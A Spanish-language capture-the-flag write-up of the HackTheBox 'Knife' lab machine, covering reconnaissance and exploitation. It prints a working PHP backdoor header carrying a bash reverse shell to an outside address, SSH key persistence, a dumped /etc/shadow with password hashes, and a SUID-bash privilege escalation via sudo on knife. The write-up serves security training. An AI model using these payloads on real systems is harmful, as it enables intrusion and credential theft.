_____ _    _         _____  _____ _   _          _____   _____  
    / ____| |  | |  /\   |  __ \|_   _| \ | |   /\   / _ \ \ / / _ \ 
   | |  __| |  | | /  \  | |__) | | | |  \| |  /  \ | | | \ V / | | |
   | | |_ | |  | |/ /\ \ |  _  /  | | | . ` | / /\ \| | | |> <| | | |
   | |__| | |__| / ____ \| | \ \ _| |_| |\  |/ ____ \ |_| / . \ |_| |
    \_____|\____/_/    \_\_|  \_\_____|_| \_/_/    \_\___/_/ \_\___/ 
                                                                     
                    ./Guarina0x0
Titulo: HackTheBox - Knife Writeup
Fecha: 2021-06-09
Descripcion: Enumearacion - PHP - SSH

HackTheBox - Knife Writeup

## Ping:

ping -c1 10.10.10.242

Mediante el comando ping vamos a trazar una ruta ICMP para ver si la maquina esta activa y ante que tipo de sistema operativo estamos

Podemos ver que la respuesta del ttl es 63 , el TTL en maquinas Linux es 64 y en maquinas Windows 128 , en este caso es 63 porque pasa por un nodo intermediario.

## Enumeracion de Puertos:

Ahora vamos a proceder a ver que servicios tiene esta maquina abiertos para ello vamos a realizar una enumeracion de puertos:

Vamos a ver que tiene los siguientes puertos abiertos:

-Puerto 22 SSH

-Puerto 80 HTTP

## HTTP:

Vamos a proceder a ver si estamos ante un gestor de contenidos como puede ser (Wordpress, Joomla) para ello vamos a usar la herramienta WhatWeb

whatweb 10.10.10.242

Podemos ver que estamos ante un servidor Apache en su version 2.4.41 y ante la version de PHP 8.1.0 , podemos buscar si alguna de estas dos versiones tiene alguna vulnerabilidad

Si procedemos a ver la pagina web nos encontramos ante una pagina web de un hospital

Si buscamos si alguna version de las anteriores es vulnerable vamos a ver que PHP 8.1.0 es vulnerable a Remote Code Execution , por lo que vamos a tener capacidad de Ejecucion de Codigo Remoto

## Explotacion PHP - User Agent:

Esta vulnerabilidad esta basada en las cabeceras del User Agent , que vamos a poder ser capaces de poder ejecutar comandos , para ello vamos hacer una prueba mediante curl y pasandole como parametro de sistema un comando id

Podemos ver que en las cabeceras nos devuelve el resultado de la ejecucion del comando id , y nos devuelve que es el usuario "james" , ya tenemos un usuario potencial para poder acceder al servicio ssh

Para mayor comodidad vamos a proceder a usar la herramienta Burp Suite para capturar la peticion de la pagina web y lo enviaremos al Repeater , donde para realizar otra prueba vamos a intentar realizar una operacion matematica

Mediante el User Agent le vamos a pasar como parametro que nos dumpee el resultado de 2x3 , si le damos a enviar la peticion , vamos a poder ver el resultado en la respuesta del servidor.

Como podemos ver tenemos ejecucion remota de comandos , por lo que va a ser tan facil como ejecutar una shell reversa a nuestro equipo para obtener acceso a la maquina

User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.50/443 0>&1'");

Y nos vamos a poner a la escucha mediante Netcat por el puerto 443, cuando enviemos la peticion mediante Burp Suite obtendremos la shell reversa

## User.txt:

Una vez tenemos acceso a la maquina ya podemos visualizar el flag del usuario

## SSH:

Ahora nos queda visualizar la flag de root , para ello necesitamos escalar privilegios del usuario james al usuario , podemos probar si tenemos permiso para crear una llave de clave publica mediante ssh , para ello vamos a dirigirnos al directorio .shh

ssh-keygen

Vamos a poder generar una nueva clave publica para poder acceder mediante ssh

Procedemos a agregar id_rsa.pub dentro de el fichero authorized_keys que debemos crear pasandole como usuario permitido el usuario que tengamos en nuestra maquina atacante

Ahora ya solo nos queda copiar el id_rsa a la maquina atacante , asignarle los permisos necesarios:

sudo chmod 600 id_rsa ssh -i id_rsa james@10.10.10.242

## Escalada de Privilegios:

Una vez tenemos acceso mediante SSH a la maquina , vamos a lanzar el comando sudo -l en busca de algun proceso con permisos SUID

sudo -l

Podemos ver que como el usuario root podemos ejecutar un binario llamado "knife" , si nos vamos a ese directorio vamos a ver que tiene un enlace simbolico que apunta a /opt/chef-workstation

Si listamos el directorio /opt/chef-workstation , tiene pinta que es el direcotrio de instalacion de ruby

Podemos ejecutar archivos y comandos de /usr/bin/knife ruby sin el comando ruby , por eso no podemos ejecutar el archivo "ex.rb" que esta en el directorio de James

Por lo que vamos a ejecutar el fichero ex.rb

cd /home/james
sudo /usr/bin/knife exec ex.rb root:$6$LCKz7Uz/FuWPPJ6o$LaOquetpLJIhOzr7YwJzFPX4NdDDHokHtUz.k4S1.CY7D/ECYVfP4Q5eS43/PMtsOa5up1ThgjB3.xUZsHyHA1:18754:0:99999:7::: daemon:*:18659:0:99999:7::: bin:*:18659:0:99999:7::: sys:*:18659:0:99999:7::: sync:*:18659:0:99999:7::: games:*:18659:0:99999:7::: man:*:18659:0:99999:7::: lp:*:18659:0:99999:7::: mail:*:18659:0:99999:7::: news:*:18659:0:99999:7::: uucp:*:18659:0:99999:7::: proxy:*:18659:0:99999:7::: www-data:*:18659:0:99999:7::: backup:*:18659:0:99999:7::: list:*:18659:0:99999:7::: irc:*:18659:0:99999:7::: gnats:*:18659:0:99999:7::: nobody:*:18659:0:99999:7::: systemd-network:*:18659:0:99999:7::: systemd-resolve:*:18659:0:99999:7::: systemd-timesync:*:18659:0:99999:7::: messagebus:*:18659:0:99999:7::: syslog:*:18659:0:99999:7::: _apt:*:18659:0:99999:7::: tss:*:18659:0:99999:7::: uuidd:*:18659:0:99999:7::: tcpdump:*:18659:0:99999:7::: landscape:*:18659:0:99999:7::: pollinate:*:18659:0:99999:7::: usbmux:*:18753:0:99999:7::: sshd:*:18753:0:99999:7::: systemd-coredump:!!:18753:::::: james:$6$S4BgtW0nZi/8w.C0$pREFaCmQmAue0cm6eTgvF.vFdhsIdTr5q6PdrMVNCw4hc7TmlSqAcgMz0yOBG7mT6GcoH9gGbo.zLLG/VeT31/:18754:0:99999:7::: lxd:!:18753:::::: opscode:!:18754:::::: opscode-pgsql:!:18754:::::: james@knife:~$

Podemos ver que podemos obtener permisos de root ya que hemos podido visualizar el fichero /etc/shadow donde se encuentra las contraseñas hasheadas

Si creamos un fichero en ruby que nos conceda una consola bash tendriamos esa terminal con permisos de root

echo "system('chmod +s /bin/bash')" > guarina0x0.rb

Vamos a comprobar que se ha creado el fichero ruby

Ahora solo nos queda ejecutar ese fichero que hemos creado

Ya tendriamos la maquina explotada!!!